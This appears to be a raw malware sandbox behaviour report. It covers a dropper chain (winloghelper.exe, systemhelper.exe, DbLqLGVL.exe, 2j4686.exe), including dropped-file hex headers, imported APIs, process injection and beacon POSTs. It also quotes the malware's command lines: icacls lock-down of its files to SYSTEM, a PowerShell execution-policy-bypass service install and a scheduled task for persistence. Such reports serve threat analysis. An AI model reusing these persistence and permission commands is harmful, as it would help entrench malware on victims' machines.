4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\h6e2sYQ[1].exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\10718020101\h6e2sYQ.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010600 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\XZa7bUK[1].exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\10718030101\XZa7bUK.exe": 4d5a78000100000004000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000780000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e240000504500004c010700 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\S8nPHvo[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winloghelper.exe" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\10718040101\S8nPHvo.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...6a:T6e2,RegDeleteValueA RegCreateKeyExA RegCloseKey RegOpenKeyExA OpenProcessToken CreateDirectoryA GetTickCount GetSystemDirectoryA CreateFileA FindFirstFileA FindResourceA GetSystemInfo FindNextFileA GetFileAttributesA GetVersionExA GetDriveTypeA LoadLibraryA GetModuleFileNameA TerminateProcess DeleteFileA GetModuleHandleW LockResource CreateThread LoadLibraryExA Sleep CreateProcessA GetProcAddress GetTempFileNameA GetStartupInfoW UnhandledExceptionFilter WriteFile GetTempPathA VirtualAlloc GetFileSize GetCommandLineA GetModuleHandleA GetStartupInfoA FindWindowA GetWindowThreadProcessId GetCursorPos GetLastActivePopup SetWindowsHookExA CreateDirectoryW FindFirstFileExW GetModuleFileNameW IsDebuggerPresent VirtualProtect CreateFileW FindNextFileW SleepConditionVariableSRW LoadLibraryExW GetModuleHandleExW GetCommandLineW GetFileSizeEx RegOpenKeyExW DeviceIoControl LoadLibraryW DeleteFileW OpenFileMappingW GetTempPathW GetFileAttributesW GetVersionExW MapViewOfFile FindFirstFileW GetUserNameA LookupAccountNameA VirtualAllocEx GetComputerNameExW Process32FirstW ReadProcessMemory CreateToolhelp32Snapshot GetThreadContext Process32NextW WriteProcessMemory OpenProcess SleepConditionVariableCS CreateThreadpoolWork GetDriveTypeW ShellExecuteA HttpSendRequestA HttpSendRequestExA InternetCloseHandle InternetOpenUrlA InternetWriteFile InternetOpenW InternetOpenA InternetReadFile InternetConnectA connect socket closesocket recv WSAStartup send CreateProcessAsUserW StartServiceW SleepEx GetTickCount64 FindResourceExW OutputDebugStringW RegDeleteKeyA WinExec Process32Next Process32First CopyFileA OutputDebugStringA ShellExecuteExA GetClipboardData6b:T602,"random.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\1a52M6.exe" (Handle: 660) "random.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\2j4686.exe" (Handle: 124) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\icacls.exe" (Handle: 684) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 676) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\net.exe" (Handle: 676) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\icacls.exe" (Handle: 440) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\schtasks.exe" (Handle: 684) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\winloghelper.exe" (Handle: 680) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\systemhelper.exe" (Handle: 680) "winloghelper.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\10718020101\h6e2sYQ.exe" (Handle: 2216) "winloghelper.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\10718030101\XZa7bUK.exe" (Handle: 2196) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\chcp.com" (Handle: 436) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 464) "cmd.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\reg.exe" (Handle: 420)6c:T4c6,Process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00006344) Process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00002876) Process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00004652) Process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00005484) Process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00008076) Process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00000200) Process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /setowner "SYSTEM"" (UID: 00000000-00005084) Process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00006904) Process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /remove:d Everyone Administrators" (UID: 00000000-00007968)6d:T17c9,Spawned process "random.exe" (UID: 00000000-00005940) Spawned process "1a52M6.exe" (UID: 00000000-00006500) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00001316) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /setowner "SYSTEM"" (UID: 00000000-00006344) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00004336) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00002876) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00004680) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\winloghelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00004652) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00003856) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /setowner "SYSTEM"" (UID: 00000000-00005484) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00002160) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00008076) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00003604) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\systemhelper.exe" /remove:d Everyone Administrators" (UID: 00000000-00000200) Spawned process "cmd.exe" with commandline "/c powershell -ExecutionPolicy Bypass -Command "New-Service -Name \\"DownloaderService\\" -BinaryPathName \\"%TEMP%\\IXP000.TMP\\1a52M6.exe\\" -StartupType Automatic"" (UID: 00000000-00000712) Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -Command "New-Service -Name \\"DownloaderService\\" -BinaryPathName \\"%TEMP%\\IXP000.TMP\\1a52M6.exe\\" -StartupType Automatic"" (UID: 00000000-00000240) Spawned process "cmd.exe" with commandline "/c net start "DownloaderService"" (UID: 00000000-00007396) Spawned process "net.exe" with commandline "net start "DownloaderService"" (UID: 00000000-00005340) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 start "DownloaderService"" (UID: 00000000-00004928) Spawned process "1a52M6.exe" (UID: 00000000-00005088) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\DbLqLGVL.exe" /setowner "SYSTEM"" (UID: 00000000-00005724) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /setowner "SYSTEM"" (UID: 00000000-00005084) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\DbLqLGVL.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00001360) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX" (UID: 00000000-00006904) Spawned process "cmd.exe" with commandline "/c icacls "%WINDIR%\\DbLqLGVL.exe" /remove:d Everyone Administrators" (UID: 00000000-00008156) Spawned process "icacls.exe" with commandline "icacls "%WINDIR%\\DbLqLGVL.exe" /remove:d Everyone Administrators" (UID: 00000000-00007968) Spawned process "DbLqLGVL.exe" (UID: 00000000-00007864) Spawned process "cmd.exe" with commandline "/c schtasks /create /tn "WindowsLogsHelper" /xml "%TEMP%\\WindowsLogsHelper.xml" /f" (UID: 00000000-00006096) Spawned process "WerFault.exe" with commandline "-pss -s 468 -p 7864 -ip 7864" (UID: 00000000-00002596) Spawned process "WerFault.exe" with commandline "-u -p 7864 -s 620" (UID: 00000000-00000804) Spawned process "schtasks.exe" with commandline "schtasks /create /tn "WindowsLogsHelper" /xml "%TEMP%\\WindowsLogsHelper.xml" /f" (UID: 00000000-00008136) Spawned process "cmd.exe" with commandline "/c start "" "%WINDIR%\\winloghelper.exe"" (UID: 00000000-00005812) Spawned process "cmd.exe" with commandline "/c start "" "%WINDIR%\\systemhelper.exe"" (UID: 00000000-00003320) Spawned process "2j4686.exe" (UID: 00000000-00001348) Spawned process "systemhelper.exe" (UID: 00000000-00001396) Spawned process "winloghelper.exe" (UID: 00000000-00001536) Spawned process "WerFault.exe" with commandline "-pss -s 512 -p 1348 -ip 1348" (UID: 00000000-00006056) Spawned process "WerFault.exe" with commandline "-u -p 1348 -s 848" (UID: 00000000-00007136) Spawned process "WerFault.exe" with commandline "-u -p 1348 -s 848" (UID: 00000000-00001176) Spawned process "DbLqLGVL.exe" (UID: 00000000-00004592) Spawned process "WerFault.exe" with commandline "-pss -s 464 -p 4592 -ip 4592" (UID: 00000000-00006900) Spawned process "WerFault.exe" with commandline "-u -p 4592 -s 592" (UID: 00000000-00005896) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%TEMP%\\d6VJvaC.bat" "" (UID: 00000000-00007520) Spawned process "nircmd.exe" with commandline "nircmd win min process "cmd.exe"" (UID: 00000000-00002396) Spawned process "winloghelper.exe" (UID: 00000000-00002664) Spawned process "DbLqLGVL.exe" (UID: 00000000-00007896) Spawned process "WerFault.exe" with commandline "-pss -s 536 -p 7896 -ip 7896" (UID: 00000000-00002788) Spawned process "WerFault.exe" with commandline "-u -p 7896 -s 604" (UID: 00000000-00007560) Spawned process "winloghelper.exe" (UID: 00000000-00003724) Spawned process "chcp.com" with commandline "chcp 65001" (UID: 00000000-00000964) Spawned process "reg.exe" with commandline "reg query "HKU\\S-1-5-19"" (UID: 00000000-00000392) Spawned process "h6e2sYQ.exe" (UID: 00000000-00003516) Spawned process "DbLqLGVL.exe" (UID: 00000000-00001972) Spawned process "WerFault.exe" with commandline "-pss -s 528 -p 1972 -ip 1972" (UID: 00000000-00003392)6e:T768,"winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "winloghelper.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")6f:T5d8,"2j4686.exe" called "WinHttpSendRequest" with parameters {"hRequest": "166058" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=29cea0d1d5afa99cd75421232078b5ed4eb7fc95&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2f8f"} "2j4686.exe" called "WinHttpSendRequest" with parameters {"hRequest": "168df0" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=29cea0d1d5afa99cd75421232078b5ed4eb7fc95&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2f8f"} "2j4686.exe" called "WinHttpSendRequest" with parameters {"hRequest": "168420" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=29cea0d1d5afa99cd75421232078b5ed4eb7fc95&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2f8f"} "2j4686.exe" called "WinHttpSendRequest" with parameters {"hRequest": "168420" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "uid=29cea0d1d5afa99cd75421232078b5ed4eb7fc95&cid=" "dwOptionalLength": "49" "dwTotalLength": "49" "dwContext": "0" "$error": "2efd"} "2j4686.exe" called "WinHttpSendRequest" with parameters {"hRequest": "168420" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"}70:T83b,"icacls.exe" queried SystemProcessInformation at 00000000-00003872-00000105-1087046 [PID: 3872] "cmd.exe" queried SystemProcessInformation at 00000000-00003096-00000105-381754 [PID: 3096] "icacls.exe" queried SystemProcessInformation at 00000000-00002332-00000105-160447 [PID: 2332] "icacls.exe" queried SystemProcessInformation at 00000000-00001452-00000105-344686 [PID: 1452] "icacls.exe" queried SystemProcessInformation at 00000000-00001452-00000105-592936 [PID: 1452] "icacls.exe" queried SystemProcessInformation at 00000000-00002544-00000105-1304152 [PID: 2544] "icacls.exe" queried SystemProcessInformation at 00000000-00002544-00000105-1544053 [PID: 2544] "icacls.exe" queried SystemProcessInformation at 00000000-00003652-00000105-148443 [PID: 3652] "net.exe" queried SystemProcessInformation at 00000000-00000940-00000105-2096122 [PID: 940] "net.exe" queried SystemProcessInformation at 00000000-00000940-00000105-2378360 [PID: 940] "icacls.exe" queried SystemProcessInformation at 00000000-00002084-00000105-2330367 [PID: 2084] "icacls.exe" queried SystemProcessInformation at 00000000-00002084-00000105-2647119 [PID: 2084] "schtasks.exe" queried SystemProcessInformation at 00000000-00000584-00000105-349485 [PID: 584] "schtasks.exe" queried SystemProcessInformation at 00000000-00000584-00000105-1842143 [PID: 584] "schtasks.exe" queried SystemProcessInformation at 00000000-00000584-00000105-2358953 [PID: 584] "icacls.exe" queried SystemProcessInformation at 00000000-00001848-00000105-432700 [PID: 1848] "icacls.exe" queried SystemProcessInformation at 00000000-00001964-00000105-232779 [PID: 1964] "icacls.exe" queried SystemProcessInformation at 00000000-00001964-00000105-533202 [PID: 1964] "2j4686.exe" queried SystemProcessInformation at 00000000-00001568-00000105-4837756 [PID: 1568] "mode.com" queried SystemProcessInformation at 00000000-00003384-00000105-1649686 [PID: 3384] "find.exe" queried SystemProcessInformation at 00000000-00003912-00000105-165264 [PID: 3912] "find.exe" queried SystemProcessInformation at 00000000-00003912-00000105-748801 [PID: 3912]71:Tca74,"GET /profiles/76561199880317058 HTTP/1.1Connection: Keep-AliveHost: steamcommunity.com" "HTTP/1.1 200 OKServer: nginxContent-Type: text/html; charset=UTF-8X-Frame-Options: SAMEORIGINContent-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.youtube-nocookie.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;Expires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Tue, 24 Feb 2026 04:50:58 GMTContent-Length: 26871Connection: keep-aliveSet-Cookie: sessionid=34b652a00da6ebfd5639b858; Path=/; Secure; SameSite=NoneSet-Cookie: steamCountry=US%7Cdd89e304c87f19ea401ddd7cfd7158f5; path=/; secure; HttpOnly; SameSite=NoneSteam Community :: Error

Error

Sorry!

An error was encountered while processing your request:

The specified profile could not be found.

Here's a link to the Steam Community home page.

responsive_page_legacy_content -->

responsive_page_content -->

responsive_page_frame -->" "s://steamcommunity.com/login/home/?goto=profiles%2F76561199880317058">sign in | language

Error

Sorry!

An error was encountered while processing your request:

The specified profile could not be found.

Here's a link to the Steam Community home page.

responsive_page_legacy_content -->

responsive_page_content --> responsive_page_frame -->", "HTTP/1.1 200 OKServer: nginxContent-Type: text/html; charset=UTF-8X-Frame-Options: SAMEORIGINContent-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.youtube-nocookie.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://steamloopback.host https://store.steampowered.com/;Expires: Mon, 26 Jul 1997 05:00:00 GMTCache-Control: no-cacheDate: Tue, 24 Feb 2026 04:50:58 GMTContent-Length: 26871Connection: keep-aliveSet-Cookie: sessionid=1dc555d3b3bd6724b8fa88c3; Path=/; Secure; SameSite=NoneSet-Cookie: steamCountry=US%7Cdd89e304c87f19ea401ddd7cfd7158f5; path=/; secure; HttpOnly; SameSite=NoneSteam Community :: Error